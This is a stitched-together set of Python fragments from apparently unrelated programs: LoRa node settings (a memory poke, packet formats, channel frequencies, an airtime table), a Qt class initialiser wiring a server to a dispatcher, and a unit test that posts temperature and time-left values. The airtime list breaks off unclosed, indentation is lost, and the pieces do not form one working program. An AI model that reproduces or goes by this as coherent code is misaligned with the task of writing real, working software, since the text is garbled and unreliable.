ANSELC_ADDR = const(0x18E)
py.poke_memory(ANSELC_ADDR, ~(1 << 7))
_LORA_PKG_FORMAT = "!BB%ds"
_LORA_RCV_PKG_FORMAT = "!BB%ds"
MY_ID = 0x0B
(my_sf, my_bw_index, my_slot, guard, sync_rate) = (7, 2, 0, 40, 1
) # default values
freqs = [865000000, 865600000, 866200000, 866800000, 867400000,
868000000] # my channels
# airtimes for 100-byte packets and 8 preamble symbols
airtime = [[0.174336, 0.087168, 0.043584], [0.307712, 0.153856, 0.076928],
[0.553984, 0.276992, 0.138496], [1.026048, 0.513024, 0.256512],
def __init__(self, parent=None):
QObject.__init__(self, parent)
self.server = Server(self.EXTERNAL_SERVER_PORT)
self.dispatcher = ExternalDispatcher(self.server)
self.server.setDispatcher(self.dispatcher)
def testPutData(self):
server = Server(user='******')
temp = 34.3
timeLeft = 78.3
server.putEstimationData(temp, timeLeft)
pass
